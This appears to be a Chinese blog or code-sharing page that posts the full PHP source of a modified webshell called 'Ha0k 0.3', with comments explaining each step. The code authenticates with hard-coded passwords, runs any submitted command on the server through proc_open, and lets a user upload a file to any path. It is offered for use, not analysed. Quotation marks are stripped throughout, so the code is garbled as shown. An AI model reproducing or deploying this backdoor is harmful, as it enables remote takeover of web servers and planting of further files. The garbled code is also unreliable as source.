Ha0k 0.3 PHP 网页木马修改版
2018-09-07 19:16
复制代码 代码如下:
<?php
//此处可设置多个用户
$passwd = array(ha0k => ha0k,
hackerdsb=>hackerdsb);
/* 此处设置命令的别名 */
$aliases = array(ls => ipconfig,
ll => ls -lvhF);
if (!isset($_SERVER[PHP_AUTH_USER])!isset($_SERVER[PHP_AUTH_PW])
!isset($passwd[$_SERVER[PHP_AUTH_USER]])
$passwd[$_SERVER[PHP_AUTH_USER]] != $_SERVER[PHP_AUTH_PW]) {
header(
header(HTTP/1.0 401 Unauthorized);
$authenticated = false;
}
else {
$authenticated = true;
/* 开始session */
session_start();
/* 初始化session. */
if (empty($_SESSION[cwd]) !empty($_REQUEST[reset])) {
$_SESSION[cwd] = getcwd(); //取当前目录
$_SESSION[history] = array();
$_SESSION[output] = ;
}
if (!empty($_REQUEST[command])) {
if (get_magic_quotes_gpc()) { //0表关闭，1表开启，开启时过滤
/* We dont want to add the commands to the history in the
* escaped form, so we remove the backslashes now. */
$_REQUEST[command] = stripslashes($_REQUEST[command]); //将用addslashes()函数处理后的字符串返回原样
}
/* history */
if (($i = array_search($_REQUEST[command], $_SESSION[history])) !== false) //查找保存数组中的值
unset($_SESSION[history][$i]); //销毁
array_unshift($_SESSION[history], $_REQUEST[command]);//array_unshift()函数的作用是在一个数组中插入新的元素。而这个新的数组将被添加到原数组的开头部分。函数最终返回的是插入新元素后的数组。
/* 输出Ha0k# command */
$_SESSION[output] .= Ha0k# . $_REQUEST[command] . \n;
/* Initialize the current working directory. */
if (ereg(^[[:blank:]]*cd[[:blank:]]*$, $_REQUEST[command])) {
$_SESSION[cwd] = dirname(__FILE__); //获取当前所在目录
} elseif (ereg(^[[:blank:]]*cd[[:blank:]]+([^;]+)$, $_REQUEST[command], $regs)) {
/* The current command is a cd command which we have to handle
* as an internal shell command. */
if ($regs[1][0] == /) {
/* Absolute path, we use it unchanged. */
$new_dir = $regs[1];
} else {
/* Relative path, we append it to the current working
* directory. */
$new_dir = $_SESSION[cwd] . / . $regs[1];
}
/* Transform /./ into / */
while (strpos($new_dir, /./) !== false)
$new_dir = str_replace(/./, /, $new_dir);
/* Transform // into / */
while (strpos($new_dir, //) !== false)
$new_dir = str_replace(//, /, $new_dir);
/* Transform x/.. into */
while (preg_match(/\.\.(?!\.), $new_dir))
$new_dir = preg_replace(/?[^/]+/\.\.(?!\.), , $new_dir);
if ($new_dir == ) $new_dir = /;
/* Try to change directory. */
if (@chdir($new_dir)) { //改变当前目录
$_SESSION[cwd] = $new_dir;
} else {
$_SESSION[output] .= cd: could not change to: $new_dir\n;
}
} else {
/* The command is not a cd command, so we execute it after
* changing the directory and save the output. */
chdir($_SESSION[cwd]); //改变目录
/* 别名扩展 */
$length = strcspn($_REQUEST[command], \t); //查找\t字符串，返回位置
$token = substr($_REQUEST[command], 0, $length); //取字符串0-\t
if (isset($aliases[$token]))
$_REQUEST[command] = $aliases[$token] . substr($_REQUEST[command], $length);
$p = proc_open($_REQUEST[command], //执行脚本
array(1 => array(pipe, w),
2 => array(pipe, w)),
$io);
/* 读出发送 */
while (!feof($io[1])) {
$_SESSION[output] .= htmlspecialchars(fgets($io[1]), //转换特殊字符为HTML字符编码
ENT_COMPAT, GB2312);
}
/* 读出 */
while (!feof($io[2])) {
$_SESSION[output] .= htmlspecialchars(fgets($io[2]),
ENT_COMPAT, GB2312);
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);//关闭管道
}
}
/* 构建在JavaScript使用命令历史记录 */
if (empty($_SESSION[history])) {
$js_command_hist = ;
} else {
$escaped = array_map(addslashes, $_SESSION[history]);
$js_command_hist = , . implode(, , $escaped) . ;//将数组搞成字符串
}
}
header(Content-Type: text/html; charset=GB2312);
echo <?xml version=1.0 encoding=GB2312?> . \n;
?>
<?php
if(is_uploaded_file($HTTP_POST_FILES[userfile][tmp_name])) {
copy($HTTP_POST_FILES[userfile][tmp_name], $_POST[remotefile]);
//echo 上传文件成功: . $HTTP_POST_FILES[userfile][name];
}
?>
<!DOCTYPE html PUBLIC -//W3C//DTD XHTML 1.0 Strict//EN
<html xmlns=
<head>
<title>Ha0k webshell</title>
<script type=text/javascript language=JavaScript>
var current_line = 0;
var command_hist = new Array(<?php echo $js_command_hist ?>);
var last = 0;
function key(e) {
if (!e) var e = window.event;
if (e.keyCode == 38 && current_line < command_hist.length-1) {
current_line++;
}
if (e.keyCode == 40 && current_line > 0) {
command_hist[current_line] = document.shell.command.value;
current_line--;
document.shell.command.value = command_hist[current_line];
}
}
function init() {
document.shell.setAttribute(autocomplete, off);
document.shell.output.scrollTop = document.shell.output.scrollHeight;
document.shell.command.focus();
}
</script>
<style type=text/css>
<!--
.STYLE1 {
color: #33FF33;
font-weight: bold;
}
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
-->
</style>
<meta http-equiv=Content-Type content=text/html; charset=gb2312 /></head>
<body onload=init()>
<BODY BGCOLOR=#$$$$$$>
<BODY TEXT=1afa3a>
<h1><a href=
<h6>WE JUST FOR JUSTICE，FIGHT FOR EVIAL</h6></FONT>
<?php if (!$authenticated) { ?>
<p>You failed to authenticate yourself to PhpShell. You can <a
href=<?php echo $_SERVER[PHP_SELF] ?>>reload</a> to try again.</p>
<p>Try reading the <a href=INSTALL>INSTALL</a> file if youre having
problems with installing PhpShell.</p>
</body>
</html>
<?php //
exit;
}
error_reporting (E_ALL);
if (empty($_REQUEST[rows])) $_REQUEST[rows] = 10;
?>
<p>当前目录为: <code><?php echo $_SESSION[cwd] ?></code></p>
<form name=shell action=<?php echo $_SERVER[PHP_SELF] ?> method=post>
<div>
<textarea name=output readonly=readonly cols=80 rows=<?php echo $_REQUEST[rows] ?>>
<?php
$lines = substr_count($_SESSION[output], \n);
$padding = str_repeat(\n, max(0, $_REQUEST[rows]+1 - $lines));
echo rtrim($padding . $_SESSION[output]);
?>
<</textarea>
</div><br>
<p class=prompt>
$<input class=prompt name=command type=text
onkeyup=key(event) size=78 tabindex=1>
</p>
<p>
<input type=submit value=执行 />
<input type=submit name=reset value=恢复 />
行数: <input type=text name=rows value=<?php echo $_REQUEST[rows] ?> />
</p>
</form>
<form enctype=multipart/form-data action= method=post>
<input type=hidden name=MAX_FILE_SIZE value=1000000>
<p>本地文件名: <input name=userfile type=file>
<p>远程文件名: <input name=remotefile type=text>
<input type=submit value=发送>
</form>
</body>
</html>
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